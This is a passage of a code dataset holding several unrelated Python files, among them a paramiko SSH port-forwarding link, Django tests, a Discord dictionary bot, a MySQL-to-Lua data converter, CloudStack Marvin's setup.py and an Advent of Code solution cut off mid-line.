ssh://[user[:passwd]@][:port]/?forward=[&keyfile=]\n\n '''\n proto = 'ssh'\n\n def _reqValidLink(self):\n\n if paramiko is None:\n raise Exception('paramiko module not installed')\n\n if self.link[1].get('port') is None:\n self.link[1]['port'] = 22\n\n host = self.link[1].get('host')\n if host is None:\n raise s_common.PropNotFound('host')\n\n fwdstr = self.link[1].get('forward')\n if fwdstr is None:\n raise s_common.PropNotFound('forward=')\n\n keyfile = self.link[1].get('keyfile')\n if keyfile is not None and not os.path.isfile(keyfile):\n raise Exception('keyfile not found: %s' % (keyfile,))\n\n fwdhost, fwdport = fwdstr.split(':')\n try:\n fwdport = int(fwdport, 0)\n except ValueError as e:\n raise Exception('Bad Forward Port: %r' % (fwdport,))\n\n self.link[1]['fwdhost'] = fwdhost\n self.link[1]['fwdport'] = fwdport\n\n def _listen(self):\n raise Exception('Synapse Link: SSH Listen Not Supported (yet)')\n\n def _connect(self):\n\n host = self.link[1].get('host')\n user = self.link[1].get('user')\n port = self.link[1].get('port')\n passwd = self.link[1].get('passwd')\n keyfile = self.link[1].get('keyfile')\n timeout = self.link[1].get('timeout')\n\n try:\n\n ssh = paramiko.client.SSHClient()\n ssh.load_system_host_keys()\n\n ssh.connect(host, port=port, username=user, password=passwd, key_filename=keyfile, timeout=timeout, allow_agent=True)\n\n trns = ssh.get_transport()\n\n fwdhost = self.link[1].get('fwdhost')\n fwdport = self.link[1].get('fwdport')\n\n s = trns.open_channel('direct-tcpip', (fwdhost, fwdport), ('127.0.0.1', 0))\n\n return s_socket.Socket(s, ssh=ssh)\n\n except s_common.sockerrs as e:\n raiseSockError(self.link, e)\n\n except Exception as e:\n ssh.close()\n raise\n","repo_name":"larrycameron80/synapse","sub_path":"synapse/links/ssh.py","file_name":"ssh.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"34277393028","text":"from django.test import TestCase,Client\r\nimport packing\r\nimport json\r\n# from login import func\r\n\r\n# Create your tests here.\r\nclass func_testcase(TestCase):\r\n def setUp(self):\r\n packing.loaddata()\r\n self.appname = 'conf'\r\n self.tablename = 'ConfExaminationItem'\r\n self.c = Client()\r\n\r\n def test_func_impl_loadattrs(self):\r\n # packing.loaddata()\r\n\r\n c = self.c\r\n # appname = 'conf'\r\n # tablename = 'ConfExaminationItem'\r\n\r\n data = {'appname':self.appname,\r\n 'tablename':self.tablename}\r\n response = c.post('/impl/loadattrs',data=data)\r\n\r\n self.assertEqual(response.status_code,200)\r\n # print ('test_func_impl_loadattrs',str(response.content,encoding='utf-8'))\r\n\r\n def test_func_impl_loadall(self):\r\n # packing.loaddata()\r\n c = self.c\r\n data = {'appname':self.appname,\r\n 'tablename':self.tablename}\r\n response = c.post('/impl/loadall',data=data)\r\n self.assertEqual(response.status_code,200)\r\n # print ('test_func_impl_loadall',str(response.content,encoding='utf-8'))\r\n\r\n def test_func_impl_loadfilter(self):\r\n # packing.loaddata()\r\n c = self.c\r\n\r\n data = {'appname':self.appname,\r\n 'tablename':self.tablename,\r\n 'condition':json.dumps({\r\n 'id':1\r\n }),\r\n }\r\n response = c.post('/impl/loadfilter',data=data)\r\n self.assertEqual(response.status_code,200)\r\n # print ('test_func_impl_loadfilter',str(response.content,encoding='utf-8'))\r\n\r\n def test_func_cmpl_loadfilter(self):\r\n # packing.loaddata()\r\n c = self.c\r\n data = {\r\n 'tablelist':json.dumps(['conf.ConfExaminationItem', 'conf.ConfExaminationPlot']),\r\n 'condition':json.dumps({'id':2})\r\n }\r\n response = c.post('/cmpl/loadfilter',data=data)\r\n self.assertEqual(response.status_code, 200)\r\n # print ('test func cmpl loadfilter: ', str(response.content, encoding='utf-8'))\r\n\r\n def test_func_impl_loadone(self):\r\n # packing.loaddata()\r\n c = self.c\r\n data = {'appname':self.appname,\r\n 'tablename':self.tablename,\r\n 'itemid':1}\r\n response = c.post('/impl/loadone',data=data)\r\n self.assertEqual(response.status_code,200)\r\n # print ('test_func_impl_loadone',str(response.content,encoding='utf-8'))\r\n\r\n def test_func_impl_saveobj(self):\r\n # packing.loaddata()\r\n c = self.c\r\n data = {\r\n 'appname':self.appname,\r\n 'tablename':self.tablename,\r\n 'obj':json.dumps({\r\n 'item_name':'test_item_name',\r\n 'item_type':'工作考核',\r\n 'score_total':10000.0,\r\n 'score_default':0,\r\n 'score_top_limit':10000.0,\r\n 'score_bottom_limit':0,\r\n 'item_count_limit':0,\r\n }),\r\n }\r\n response = c.post('/impl/saveobj',data=data)\r\n self.assertEqual(response.status_code,200)\r\n # print ('test_func_impl_saveobj',str(response.content,encoding='utf-8'))\r\n\r\n\r\n\r\n\r\nfrom login import func\r\nclass func_load_test(TestCase):\r\n def setUp(self):\r\n pass\r\n def test_func_impl_loadmodels(self):\r\n data = {\r\n 'appname':'conf',\r\n }\r\n\r\n res = func.loadtables(**data)\r\n self.assertListEqual(res, ['ConfExaminationItem', 'ConfExaminationPlot'])\r\n\r\n\r\n","repo_name":"MrLi008/py_django_implement","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2712750021","text":"#including required modules to the program\r\nimport os\r\nimport requests\r\nimport json\r\nimport discord\r\nimport datetime\r\n\r\nfrom dotenv import load_dotenv\r\n\r\nload_dotenv()\r\nTOKEN = os.getenv('DISCORD_TOKEN')\r\n\r\nclient = discord.Client()\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(f'{client.user.name} has connected to Discord!')\r\n\r\n\r\n@client.event\r\nasync def on_member_join(member):\r\n await member.create_dm()\r\n await member.dm_channel.send(f'Hi {member.name}, welcome to my Discord server!')\r\n\r\n\r\n@client.event\r\nasync def on_message(message):\r\n if message.author == client.user:\r\n return\r\n\r\n msg = message.content\r\n\r\n if msg == '$help':\r\n embedv = discord.Embed(title='Dicti\\'s walkthrough', \r\n color=0xFF5733,\r\n timestamp=datetime.datetime.utcnow())\r\n\r\n embedv.set_thumbnail(url = 'https://i.imgur.com/emVAdxH.jpg')\r\n\r\n embedv.add_field(name = '`$help`',\r\n value = 'Displays the list of commands supported by Dicti and the specific syntax need for the usage',\r\n inline = False)\r\n\r\n embedv.add_field(name = '`$dict `',\r\n value = 'Displays information on the word used involving parameters such as definitions, synonyms, phonetics, etc.',\r\n inline = False)\r\n\r\n embedv.add_field(name = '`$urban `',\r\n value = 'Displays information regarding the colloquial use of the word and the its different meanings under different contexts',\r\n inline = False)\r\n\r\n await message.channel.send(embed = embedv)\r\n\r\n # if msg.startswith('$urban'):\r\n # word = msg.split('$urban ', 1)[1]\r\n\r\n # response = requests.get(\"https://api.urbandictionary.com/v0/define?term=\" + word)\r\n # json_data = json.loads(response.text)\r\n\r\n # deflist = json_data['list']\r\n # n = len(deflist)\r\n\r\n # if n > 0:\r\n # deflist = sorted(deflist, key = lambda x: x['thumbs_up'], reverse = True)\r\n # n = min(5, n)\r\n\r\n # page = []\r\n\r\n\r\n\r\n\r\n\r\n \r\n # else:\r\n # noword = 'No meanings found'\r\n # await message.channel.send(noword)\r\n\r\n if msg.startswith('$dict'):\r\n word = msg.split('$dict ', 1)[1]\r\n\r\n response = requests.get(\"https://api.dictionaryapi.dev/api/v2/entries/en/\" + word)\r\n json_data = json.loads(response.text)\r\n\r\n if type(json_data) == list:\r\n n = len(json_data)\r\n\r\n page = []\r\n \r\n for i in range(n):\r\n embedv = discord.Embed(title = 'Dictionary ('+str(i+1)+'/'+str(n)+')', \r\n description = json_data[i]['word'].title(), \r\n color=0xFF5733,\r\n timestamp=datetime.datetime.utcnow()) \r\n\r\n embedv.add_field(name = '\\u200b', \r\n value = '**Origin: **'+json_data[i]['origin'] +'\\n' + '**Parts of Speech: **'+json_data[i]['meanings'][0]['partOfSpeech'],\r\n inline = False)\r\n\r\n embedv.add_field(name = '\\u200b',\r\n value = '\\u200b', \r\n inline = False)\r\n\r\n embedv.add_field(name = 'Phonetics',\r\n value = 'Text: '+json_data[i]['phonetics'][0]['text'] + '\\n' + 'Audio: '+json_data[i]['phonetics'][0]['audio'],\r\n inline = False)\r\n\r\n embedv.add_field(name = '\\u200b',\r\n value = '\\u200b', \r\n inline = False)\r\n\r\n defs = json_data[i]['meanings'][0]['definitions']\r\n\r\n for j in range(len(defs)):\r\n x = len(defs[j]['synonyms'])\r\n y = len(defs[j]['antonyms'])\r\n\r\n if x > 0 and y > 0:\r\n embedv.add_field(name = 'Definition '+str(j+1),\r\n value = defs[j]['definition'] + '\\n' + 'Synonyms: ' + str(defs[j]['synonyms'][:min(x,5)]) + '\\n' + 'Antonyms: ' + str(defs[j]['antonyms'][:min(y,5)]), \r\n inline = False) \r\n elif x > 0 and y == 0:\r\n embedv.add_field(name = 'Definition '+str(j+1),\r\n value = defs[j]['definition'] + '\\n' + 'Synonyms: ' + str(defs[j]['synonyms'][:min(x,5)]), \r\n inline = False) \r\n elif x == 0 and y > 0:\r\n embedv.add_field(name = 'Definition '+str(j+1),\r\n value = defs[j]['definition'] + '\\n' + 'Antonyms: ' + str(defs[j]['antonyms'][:min(y,5)]), \r\n inline = False) \r\n else:\r\n embedv.add_field(name = 'Definition '+str(j+1),\r\n value = defs[j]['definition'], \r\n inline = False) \r\n\r\n embedv.add_field(name = '\\u200b',\r\n value = '\\u200b', \r\n inline = False) \r\n\r\n page.append(embedv)\r\n \r\n emb = await message.channel.send(embed = page[0])\r\n await emb.add_reaction(\"◀️\")\r\n await emb.add_reaction(\"▶️\")\r\n\r\n def check(reaction, user):\r\n return user == message.author\r\n\r\n k = 0 \r\n reaction = None\r\n\r\n while True:\r\n if str(reaction) == '◀️':\r\n if k > 0:\r\n k -= 1\r\n await emb.edit(embed = page[k])\r\n elif str(reaction) == '▶️':\r\n if k < n-1:\r\n k += 1\r\n await emb.edit(embed = page[k])\r\n\r\n try:\r\n reaction, user = await client.wait_for('reaction_add', timeout = 30.0, check = check)\r\n await emb.remove_reaction(reaction, user)\r\n except:\r\n break\r\n \r\n else:\r\n noword = json_data['title']\r\n await message.channel.send(noword)\r\n\r\nclient.run(TOKEN)","repo_name":"MistaAsh/Dicti-bot","sub_path":"dicti.py","file_name":"dicti.py","file_ext":"py","file_size_in_byte":5945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"781394489","text":"from threading import Thread\r\nfrom random import choice\r\nimport time\r\n\r\nauthor = 'Jencent Dizon'\r\nlink = 'https://github.com/I-am-Programmer-101'\r\nprint(\"Author:\",author,\"\\nLink:\",link)\r\n\r\ndata = [90,81,78,95,79,72,85]\r\n\r\nclass MyThread(Thread):\r\n \r\n def __init__(self, val):\r\n # Costructor\r\n Thread.__init__(self)\r\n self.val = val\r\n \r\n \r\n def run(self):\r\n for i in range(1):\r\n time.sleep(2)\r\n print('Average Value:',choice(data),'in %s' % (self.getName()))\r\n print('Maximum Value:',choice(data),'in %s' % (self.getName()))\r\n print('Minimum Value:',choice(data),'in %s' % (self.getName()))\r\n\r\n \r\n \r\n# Run following code when the program starts\r\nif __name__ == '__main__':\r\n print('Thread Starting...')\r\n # Declare objects of MyThread class\r\n myThreadOb1 = MyThread(3)\r\n myThreadOb1.setName('Thread 1')\r\n \r\n myThreadOb2 = MyThread(3)\r\n myThreadOb2.setName('Thread 2')\r\n\r\n myThreadOb3 = MyThread(3)\r\n myThreadOb3.setName('Thread 3')\r\n \r\n # Start running the threads!\r\n myThreadOb1.start()\r\n myThreadOb2.start()\r\n myThreadOb3.start()\r\n\r\n # Wait for the threads to finish...\r\n myThreadOb1.join()\r\n myThreadOb2.join()\r\n myThreadOb3.join()\r\n\r\n print('Thread Terminating...')\r\n","repo_name":"jencent101/Threading","sub_path":"threading.py","file_name":"threading.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2307143748","text":"#User function Template for python3\n\n'''\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n self.prev = None\n'''\n\ndef reverseDLL(head):\n if not head or not head.next :\n return head\n prev = None\n cur = head\n while cur :\n tmp = cur.next\n cur.next = prev\n cur.prev = tmp\n prev = cur\n cur = tmp\n return prev\n\n\n\n# Driver code Starts\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n self.prev = None\n\nclass DoublyLinkedList:\n def __init__(self):\n self.head = None\n\n def push(self, new_data,tail):\n if not self.head:\n self.head=Node(new_data)\n return self.head\n Nnode=Node(new_data)\n Nnode.prev=tail\n tail.next=Nnode\n return Nnode\n\n def printList(self, node):\n while(node is not None):\n print (node.data,end=' ')\n node = node.next\n\n\n\nif __name__ == '__main__':\n t=int(input())\n\n for tcs in range(t):\n n=int(input())\n arr=[int(x) for x in input().split()]\n\n\n dll=DoublyLinkedList()\n tail=None\n\n for e in arr:\n tail=dll.push(e,tail)\n\n resHead=reverseDLL(dll.head)\n dll.printList(resHead)\n print()\n\n# Driver Code Ends\n","repo_name":"VbhvGupta/workspace","sub_path":"GFG/ReverseDLL.py","file_name":"ReverseDLL.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24202807630","text":"# -*- coding: utf-8 -*-\r\nclass LanguageObject(object):\r\n \r\n lang= None\r\n langDefault = None\r\n def __init__(self):\r\n pass\r\n \r\n @classmethod\r\n def setLanguage(cls,lang):\r\n \r\n cls.lang = []\r\n cls.langDefault = {}\r\n for l in lang:\r\n language = Language(id_language_label= l.id_language_label,\r\n module= l.module,\r\n default_label= l.default_label,\r\n message_en= l.message_en,\r\n message_th= l.message_th\r\n )\r\n cls.lang.append( language)\r\n cls.langDefault[l.default_label] = language\r\n \r\n @classmethod\r\n def getLanguage(cls):\r\n return cls.lang\r\n \r\n @classmethod\r\n def getdata(cls,key,lang='EN'):\r\n if (cls.langDefault is not None and cls.langDefault[key] is not None) :\r\n if 'th'.upper() == lang.upper():\r\n return cls.langDefault[key].message_th\r\n else:\r\n return cls.langDefault[key].message_en\r\n return key\r\n \r\n\r\nclass Language(object):\r\n def __init__(self,id_language_label=None,module=None,default_label=None,message_en=None, message_th=None):\r\n self.id_language_label = id_language_label\r\n self.module = module\r\n self.default_label = default_label\r\n self.message_en = message_en\r\n self.message_th = message_th","repo_name":"tongpa/JMProject","sub_path":"PyPollModel/surveyobject/languageobject.py","file_name":"languageobject.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43077900185","text":"#-*-encoding:utf8-*-\n#!/bin/python\n\nimport os\nimport hashlib\nimport yaml\nimport zipfile\nimport time\nimport sys, getopt\n#import oss_util\nfrom jinja2 import *\nimport datetime\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\nimport dbutil\nimport shutil\n\ndef tableToClass(fieldName):\n strs = fieldName.split('_')\n result = ''\n for str in strs:\n result = result + str.capitalize()\n return result\n\ndef columnNameToFieldName(columnName):\n strs = columnName.split('_')\n result = ''\n index = 1\n for str in strs:\n if index == 1:\n result = result + str[0].lower() + str[1:]\n else:\n result = result + str.capitalize()\n index = index + 1\n return result\n\nclass Loader( BaseLoader ):\n def __init__(self, parent):\n self.env = Environment( loader=FileSystemLoader(parent))\n self.env.template_class = Template\n self.env.globals['tableToClass'] = tableToClass\n self.env.globals['columnNameToFieldName'] = columnNameToFieldName\n\n'''\nsdata数据转换为lua\n'''\nclass sdatatolua:\n '''\n 构造函数\n '''\n def __init__(self, config):\n self.game = config['game']\n self.sdataZipPath = config['sdata_zip_path']\n self.sdataVersion = config['sdata_version']\n self.confFilePath = config['config_file_path']\n self.env = config['env']\n self.mode = config['mode']\n\n self.log(\"env:%s\", self.env)\n self.log(\"game:%s\", self.game)\n self.log(\"sdataZipPath:%s\", self.sdataZipPath)\n self.log(\"sdataVersion:%s\", self.sdataVersion)\n\n self.loadConfig()\n\n if self.mode == 'db':\n self.dbutil = dbutil.DBUtil(host=self.dbConf['host'], db=self.dbConf['db'], user=self.dbConf['user'], passwd=self.dbConf['password'])\n\n # oss客户端\n # self.oss = oss_util.oss_util(access_key_id=self.ossConf['access_key_id'],\n # access_key_secret=self.ossConf['access_key_secret'],\n # bucket_name=self.ossConf['bucket_name'],\n # endpoint=self.ossConf['endpoint'])\n '''\n 载入配置\n '''\n def loadConfig(self):\n filepath = os.path.join(self.confFilePath, \"sdata.yml\")\n f = open(filepath, 'rb')\n # self.conf = yaml.load(f.read(), Loader=yaml.FullLoader)\n self.conf = yaml.load(f.read())\n f.close()\n\n sdataBaseDir=self.conf['output_dir']\n try:\n sdataBaseDir = sdataBaseDir%self.env\n except:\n pass\n\n self.sdataDir = os.path.join(sdataBaseDir, self.game)\n self.ossConf = self.conf['oss']\n self.tablesConf = self.conf['tables']\n self.dbConf = self.conf['db']\n\n '''\n 将Sdata转换为Lua\n '''\n def doSdataToLua(self):\n # 1. 检查工作空间\n self.doEnvCheck()\n\n # 2. 解压资源\n self.unzipSdataZip()\n\n # 3. 生成动更\n self.genSdataToLua()\n\n # 4. 清理\n self.doClean()\n\n\n '''\n 环境检查\n '''\n def doEnvCheck(self):\n if not os.path.exists(self.sdataDir):\n self.log(\"第一次生成SdataToLua,创建目录:%s\", self.sdataDir)\n os.makedirs(self.sdataDir)\n self.log(\"sdataDir:%s\", self.sdataDir)\n\n # 目标路径\n self.newVersionDir = os.path.join(self.sdataDir, self.sdataVersion)\n if not os.path.exists(self.newVersionDir):\n os.makedirs(self.newVersionDir)\n self.log(\"sdataVersionDir:%s\", self.newVersionDir)\n\n\n '''\n 解压资源zip\n '''\n def unzipSdataZip(self):\n if self.mode == 'db':\n return\n\n if not os.path.exists(self.sdataZipPath):\n self.log(\"资源文件不存在, path:%s\", self.sdataZipPath)\n sys.exit(2)\n return\n\n # 解压文件\n dynamicZipFile = zipfile.ZipFile(self.sdataZipPath, 'r')\n count = 0\n start = time.time()\n totalCount = dynamicZipFile.namelist().__len__()\n for file in dynamicZipFile.namelist():\n end = time.time()\n if end - start > 1:\n start = time.time()\n self.log(\"资源包解压中:%s/%s\", count, totalCount)\n count += 1\n if file.endswith(\".xml\"):\n self.sdataXmlFile = os.path.join(self.newVersionDir, file)\n\n dynamicZipFile.extract(file, self.newVersionDir)\n self.log(\"资源包解压中:%s/%s\", count, totalCount)\n\n dynamicZipFile.close()\n\n # 检查版本号\n version = self.loadVersionTxt(os.path.join(self.newVersionDir, 'version.txt'))\n\n if (version != self.sdataVersion):\n self.log(\"错误的打包静态库版本号:%s, 输入版本号:%s\", version, self.sdataVersion)\n sys.exit(2)\n\n self.log(\"sdataXmlFile:%s\", self.sdataXmlFile)\n\n\n '''\n 生产sdataLua文件\n '''\n def genSdataToLua(self):\n if self.mode == 'db':\n self.genSdataToLuaByDB()\n else:\n self.genSdataToLuaByXML()\n\n '''\n 生产sdataLua文件(db)\n '''\n def genSdataToLuaByDB(self):\n # 读取xml文件\n self.log(\"genSdataToLua\")\n\n tablesMap = {}\n filePath = os.path.join(self.newVersionDir, 'SdataData.lua')\n f = open(filePath, 'wb')\n results = self.dbutil.query(\"show tables\")\n for tableName in results:\n name = tableName['Tables_in_%s'%self.dbConf['db']]\n # 查看配置文件是否需要处理\n if not self.tablesConf.has_key(name):\n continue\n\n tableResults = self.dbutil.query(\"select * from %s\"%name)\n datas = []\n rowKeys = self.tablesConf[name]['rowKey']\n for row in tableResults:\n dataMap = {}\n for key, value in row.iteritems():\n dataMap[str(key)] = self.getValue(value)\n\n dataMap['rowData'] = ''\n for rowKey in rowKeys.split(\",\"):\n if dataMap['rowData'] != '':\n dataMap['rowData'] = dataMap['rowData'] + \"-\" + dataMap[rowKey]\n else:\n dataMap['rowData'] = dataMap[rowKey]\n datas.append(dataMap)\n\n tableMap = {}\n tableMap['datas'] = datas\n tableMap['fields'] = self.tablesConf[name]['fields']\n tablesMap[name] = tableMap\n\n # 载入模板环境\n env = Loader(self.confFilePath).env\n now = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # 生成domain文件\n self.log(\"configFilePath:%s\", self.confFilePath)\n template = env.get_template(\"sdatatolua.template\", parent=self.confFilePath)\n result = template.render(tables=tablesMap, time=now, sdataVersion=self.sdataVersion)\n\n contentMD5 = self.md5(result.encode(\"utf-8\"))\n\n f.write(result.encode('utf8'))\n f.write('sdata.time = \"%s\"\\n'%now)\n f.write('sdata.version = \"%s\"\\n'%self.sdataVersion)\n f.write('sdata.md5 = \"%s\"'%contentMD5)\n f.flush()\n\n\n fileMD5 = self.md5file(filePath)\n self.log(\"contentMD5:%s\", contentMD5)\n self.log(\"fileMD5:%s\", fileMD5)\n self.log(\"filePath:%s\", os.path.abspath(filePath))\n\n # 生产zipFile\n fileList = []\n fileList.append('SdataData.lua')\n self.createZipFile(os.path.join(self.sdataDir, contentMD5+\".zip\"), fileList)\n\n '''\n 生产sdataLua文件(XML)\n '''\n def genSdataToLuaByXML(self):\n # 读取xml文件\n self.log(\"genSdataToLua\")\n domTree = ET.ElementTree(file=self.sdataXmlFile)\n root = domTree.getroot()\n\n filePath = os.path.join(self.newVersionDir, 'SdataData.lua')\n f = open(filePath, 'wb')\n tablesMap = {}\n for child in domTree.iter(tag='table'):\n table = child\n name = table.attrib[\"name\"]\n\n # 查看配置文件是否需要处理\n if not self.tablesConf.has_key(name):\n continue\n\n datas = []\n for row in table:\n dataMap = {}\n for field in row:\n key = field.attrib[\"name\"]\n value = field.text\n dataMap[key] = value\n datas.append(dataMap)\n\n tableMap = {}\n tableMap['datas'] = datas\n tableMap['rowKey'] = self.tablesConf[name]['rowKey']\n tableMap['fields'] = self.tablesConf[name]['fields']\n tablesMap[name] = tableMap\n\n # 载入模板环境\n env = Loader().env\n now = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # 生成domain文件\n template = env.get_template(\"sdatatolua.template\", self.confFilePath)\n result = template.render(tables=tablesMap, time=now, sdataVersion=self.sdataVersion)\n\n contentMD5 = self.md5(result.encode(\"utf-8\"))\n\n f.write(result.encode('utf8'))\n f.write('sdata.time = \"%s\"\\n'%now)\n f.write('sdata.version = \"%s\"\\n'%self.sdataVersion)\n f.write('sdata.md5 = \"%s\"'%contentMD5)\n f.flush()\n\n\n fileMD5 = self.md5file(filePath)\n self.log(\"contentMD5:%s\", contentMD5)\n self.log(\"fileMD5:%s\", fileMD5)\n\n '''\n 执行清理操作\n '''\n def doClean(self):\n try:\n shutil.rmtree(self.newVersionDir)\n except:\n pass\n\n '''\n 载入version.txt\n '''\n def loadVersionTxt(self, filepath):\n # 打开version.lua\n version = None\n resFile = open(filepath, 'rb')\n for line in resFile.readlines():\n if line == None or line.strip() == \"\":\n continue\n line = line.strip()\n version = line.strip()\n break\n\n resFile.close()\n\n return version\n\n '''\n 创建zipfile\n '''\n def createZipFile(self, zipFilePath, fileList):\n self.log(\"生成包:%s\", zipFilePath)\n zFile = zipfile.ZipFile(zipFilePath, 'w', compression=zipfile.ZIP_DEFLATED)\n\n for filename in fileList:\n filepath = os.path.join(self.newVersionDir, filename)\n zFile.write(filepath, filename)\n # self.log(\"pack zip file:%s, file:%s\", zipFilePath, filename)\n\n zFile.close()\n\n '''\n 拷贝文件\n '''\n def copyFile(self, filepath, filename):\n topath = os.path.join(self.out_dir, filename)\n self.execCmd(\"cp %s %s\", filepath, topath)\n\n '''\n 计算字符串md5\n '''\n def md5(self, content):\n m = hashlib.md5()\n m.update(content)\n\n return m.hexdigest()\n\n '''\n 计算文件md5\n '''\n def md5file(self, filepath):\n m = hashlib.md5()\n md5file = open(filepath, 'rb')\n m.update(md5file.read())\n md5file.close()\n\n return m.hexdigest()\n\n '''\n 执行系统命令\n '''\n def execCmd(self, cmd, *args):\n print(args)\n if args != None and len(args) > 0:\n cmd = cmd%args\n\n p = os.popen(cmd)\n self.log(\"exec cmd: %s end. rtn:%s\", cmd, p.read())\n\n '''\n 打印日志\n '''\n def log(self, fmt, *args):\n if args == None and len(args) == 0:\n return\n\n print(fmt%args)\n\n '''\n 获取值\n '''\n def doSQL(self, sql):\n return sql.replace('%s', '\\'' + '%s' + '\\'')\n \n '''\n 获取db值\n '''\n def getValue(self, value):\n valueTypeName = type(value).__name__\n rtn = None\n if valueTypeName != 'str' and valueTypeName != 'unicode':\n rtn = str(value)\n else:\n rtn = value\n\n if rtn.find('\"') != -1:\n rtn = rtn.replace('\"', '\\\\\"')\n return rtn\n\ndef main(argv):\n config = {\n \"game\": \"zjzr2\",\n \"sdata_zip_path\": \"C:\\\\Users\\\\wangys\\\\Downloads\\\\sdata.zip\",\n \"sdata_version\": \"0.0.0.0\",\n \"env\": \"dev\",\n \"mode\": \"db\",\n \"config_file_path\": \"tools\"\n }\n try:\n opts, args = getopt.getopt(argv, \"g:p:v:r:s:e:t:h:\", [\"game=\", \"path=\", \"version=\", \"region\", \"scope=\", \"env=\", \"tips=\", \"help=\"])\n except getopt.GetoptError:\n print('hotupdate -g -p -v -r -s -e [-t ]')\n sys.exit(2)\n\n for opt, arg in opts:\n if opt in (\"-g\", \"--game\"):\n config['game'] = arg\n elif opt in (\"-p\", \"--path\"):\n config['res_zip_path'] = arg\n elif opt in (\"-v\", \"--version\"):\n config['game_version'] = arg\n elif opt in (\"-r\", \"--region\"):\n config['region'] = arg\n elif opt in (\"-s\", \"--scope\"):\n config['scope'] = arg\n elif opt in (\"-e\", \"--env\"):\n config['env'] = arg\n elif opt in (\"-t\", \"--tips\"):\n config['update_tips'] = arg\n elif opt in (\"-h\", \"--help\"):\n print('hotupdate -g -p -v -r -s -e [-t ]')\n # /home/hario/hotupdate.sh --game ${option.game} --region ${option.region} --scope ${option.scope} --version ${option.version} --env ${option.env} --isBeta ${option.isBeta} --hides ${option.hides}\n # -g gmmx -p F:/hotupdate/gmmx_cn_9.9.9.9_android_20190527180239_191_static_dynamic.zip -v 9.9.9.9 -r cn_luajit32 -u android,ast -t tips\n\n p = sdatatolua(config)\n p.doSdataToLua()\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"qq4215279/study_python","sub_path":"py_study_2.7_test/sbtj_tools/sdatatolua.py","file_name":"sdatatolua.py","file_ext":"py","file_size_in_byte":13589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33780711425","text":"try:\n from setuptools import setup, find_packages\nexcept ImportError:\n try:\n from distribute_setup import use_setuptools\n use_setuptools()\n from setuptools import setup, find_packages\n except ImportError:\n raise RuntimeError(\"python setuptools is required to build Marvin\")\n\n\nVERSION = \"4.19.0.0\"\n\nsetup(name=\"Marvin\",\n version=VERSION,\n description=\"Marvin - Python client for Apache CloudStack\",\n author=\"The Apache CloudStack Team\",\n author_email=\"dev@cloudstack.apache.org\",\n maintainer=\"The Apache CloudStack Team\",\n maintainer_email=\"dev@cloudstack.apache.org\",\n long_description=\"Marvin is the Apache CloudStack python \"\n \"client written around the unittest framework\",\n platforms=(\"Any\",),\n url=\"https://builds.apache.org/job/cloudstack-marvin/\",\n packages=[\"marvin\", \"marvin.cloudstackAPI\",\n \"marvin.lib\", \"marvin.config\", \"marvin.sandbox\",\n \"marvin.sandbox.advanced\", \"marvin.sandbox.advancedsg\",\n \"marvin.sandbox.basic\"],\n license=\"LICENSE.txt\",\n install_requires=[\n \"mysql-connector-python <= 8.0.30\",\n \"requests >= 2.2.1\",\n \"paramiko >= 1.13.0\",\n \"nose >= 1.3.3\",\n \"ddt >= 0.4.0\",\n \"pyvmomi >= 5.5.0\",\n \"netaddr >= 0.7.14\",\n \"dnspython\",\n \"ipmisim >= 0.7\",\n \"pytz\",\n \"retries\",\n \"PyCrypt\",\n \"kubernetes\",\n \"urllib3\",\n \"setuptools >= 40.3.0\"\n ],\n py_modules=['marvin.marvinPlugin'],\n zip_safe=False,\n entry_points={\n 'nose.plugins': ['marvinPlugin = marvin.marvinPlugin:MarvinPlugin'],\n 'console_scripts': ['marvincli = marvin.deployAndRun:main']\n },\n )\n","repo_name":"apache/cloudstack","sub_path":"tools/marvin/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":1557,"dataset":"github-code","pt":"32"} +{"seq_id":"19202127125","text":"file = open('puzzle/07.in', 'r')\ncontent = file.read().splitlines()\n\n# part 1\nmatryoshka = {'shiny gold'}\nbf_length = 0\nwhile bf_length != len(matryoshka):\n bf_length = len(matryoshka)\n for expression in content:\n contained_colors = set()\n for sentence in expression.split('contain')[1].split(','):\n contained_colors.add(sentence[3:sentence.index('bag') - 1])\n if set.intersection(matryoshka, contained_colors) != set():\n matryoshka.add(expression.split('contain')[0][:-6])\nmatryoshka.remove('shiny gold')\nprint(len(matryoshka))\n\n# part 2\nparents = {}\nfor expression in content:\n if expression.split('bags')[0][:-1] not in matryoshka:\n if expression.split('contain ')[1] == 'no other bags.':\n parents[expression.split('bags')[0][:-1]] = 0\n else:\n inside = expression.split('contain')[1].split(',')\n value = []\n for bag in inside:\n value.extend([bag[1], bag[3:bag.index('bag')-1]])\n parents[expression.split('bags')[0][:-1]] = value\nint_parents = {}\nfor bag in parents:\n if isinstance(parents[bag], int):\n int_parents[bag] = parents[bag]\n\nwhile int_parents != parents:\n for color in parents:\n if color not in int_parents:\n for bag in range(1, len(parents[color]), 2):\n if parents[color][bag] not in int_parents:\n break\n else:\n value = 0\n for bag in range(0, len(parents[color]), 2):\n value += int(parents[color][bag])*(1 + parents[parents[color][bag+1]])\n parents[color] = int_parents[color] = 